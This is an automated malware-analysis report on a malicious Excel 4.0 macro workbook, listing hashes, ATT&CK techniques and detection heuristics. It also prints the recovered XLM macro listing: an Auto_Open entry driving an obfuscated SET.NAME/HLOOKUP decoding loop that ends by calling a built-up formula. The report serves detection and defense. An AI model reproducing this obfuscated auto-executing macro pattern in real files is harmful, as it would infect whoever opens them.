Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2a89a5f09b82b5b3…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:40:23 Authoring application: Microsoft Excel First seen: 2021-08-25
MD5: 59e4a55908c7cdd0278a534c760f183d SHA-1: ebf1b1d8783359ad21a4bb1415b8a78c2e71898f SHA-256: 2a89a5f09b82b5b3542e6aa603c60293cfb5f05767fcfbbf3b9fe3e8af1ec9da
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro-enabled workbook. Heuristics indicate the presence of an Auto_Open macro, which is configured to execute dangerous formula APIs, specifically the RUN function. This indicates the macro is designed to execute arbitrary code, likely a second-stage payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6804 bytes
SHA-256: b25d560bfba249510be030fdeaa75af8399fa32fdcee61a5664b75a184f5a5fa
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  TQMcgvWw
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A182 
' 0018     26 LABEL : Cell Value, String Constant - bLTrZBJxbKv len=0 
' 0018     26 LABEL : Cell Value, String Constant - cQrjxkBFhNW len=0 
' 0018     24 LABEL : Cell Value, String Constant - DlgWCmvem len=0 
' 0018     22 LABEL : Cell Value, String Constant - dvhbeHI len=0 
' 0018     24 LABEL : Cell Value, String Constant - eMozgbnqA len=0 
' 0018     23 LABEL : Cell Value, String Constant - fJzaCXXB len=0 
' 0018     20 LABEL : Cell Value, String Constant - Geikh len=0 
' 0018     26 LABEL : Cell Value, String Constant - jnuYgrAzhTD len=0 
' 0018     21 LABEL : Cell Value, String Constant - kBjoNY len=0 
' 0018     20 LABEL : Cell Value, String Constant - oACRK len=0 
' 0018     24 LABEL : Cell Value, String Constant - OiUaspwsa len=0 
' 0018     20 LABEL : Cell Value, String Constant - Opbea len=0 
' 0018     24 LABEL : Cell Value, String Constant - pOulmxRPA len=0 
' 0018     25 LABEL : Cell Value, String Constant - QedRnCMayh len=0 
' 0018     24 LABEL : Cell Value, String Constant - qSeQscCPD len=0 
' 0018     23 LABEL : Cell Value, String Constant - RbboPGQF len=0 
' 0018     20 LABEL : Cell Value, String Constant - RCvfQ len=0 
' 0018     27 LABEL : Cell Value, String Constant - UeaWVPPEjOIM len=0 
' 0018     22 LABEL : Cell Value, String Constant - VFBwahI len=0 
' 0018     26 LABEL : Cell Value, String Constant - vPLVJkDPcJu len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  TQMcgvWw,T73,"",206.00000000000000000000
'  TQMcgvWw,T74,"",-835.00000000000000000000
'  TQMcgvWw,T75,"",65.00000000000000000000
'  TQMcgvWw,T76,"",613.00000000000000000000
'  TQMcgvWw,T77,"",560.00000000000000000000
'  TQMcgvWw,T78,"",-825.00000000000000000000
'  TQMcgvWw,A91,"SET.NAME("cQrjxkBFhNW",0+VALUE("0"))",""
'  TQMcgvWw,A94,"SET.NAME("vPLVJkDPcJu",cQrjxkBFhNW)",""
'  TQMcgvWw,A98,"SET.NAME("DlgWCmvem",cQrjxkBFhNW)",""
'  TQMcgvWw,A102,"SET.NAME("fJzaCXXB",COUNTA(oACRK))",""
'  TQMcgvWw,A105,"SET.NAME("dvhbeHI",COUNTA(RCvfQ))",""
'  TQMcgvWw,A109,[],""
'  TQMcgvWw,A111,"SET.NAME("Geikh","")",""
'  TQMcgvWw,A116,"vPLVJkDPcJu",""
'  TQMcgvWw,A121,"SET.NAME("RbboPGQF",HLOOKUP("*",oACRK,vPLVJkDPcJu,FALSE))",""
'  TQMcgvWw,A124,"UeaWVPPEjOIM",""
'  TQMcgvWw,A129,"SET.NAME("bLTrZBJxbKv",cQrjxkBFhNW)",""
'  TQMcgvWw,A131,[],""
'  TQMcgvWw,A135,"bLTrZBJxbKv",""
'  TQMcgvWw,A139,"eMozgbnqA",""
'  TQMcgvWw,A142,"jnuYgrAzhTD",""
'  TQMcgvWw,A144,"VFBwahI",""
'  TQMcgvWw,A149,"SET.NAME("QedRnCMayh",VALUE(HLOOKUP("*",RCvfQ,VFBwahI,FALSE)))",""
'  TQMcgvWw,A153,"kBjoNY",""
'  TQMcgvWw,A158,"Geikh",""
'  TQMcgvWw,A160,"DlgWCmvem",""
'  TQMcgvWw,A163,NEXT(),""
'  TQMcgvWw,A165,"Opbea",""
'  TQMcgvWw,A168,[],""
'  TQMcgvWw,A172,"qSeQscCPD",""
'  TQMcgvWw,A175,NEXT(),""
'  TQMcgvWw,A180,RETURN(),""
'  TQMcgvWw,A201,"SET.NAME("OiUaspwsa",A91)",""
'  TQMcgvWw,A206,"oACRK",""
'  TQMcgvWw,A210,"SET.NAME("RCvfQ",R70C14)",""
'  TQMcgvWw,A213,"SET.NAME("qSeQscCPD",221)",""
'  TQMcgvWw,A216,"SET.NAME("pOulmxRPA",1)",""
'  TQMcgvWw,A220,OiUaspwsa(),""
'  TQMcgvWw,A221,HALT(),""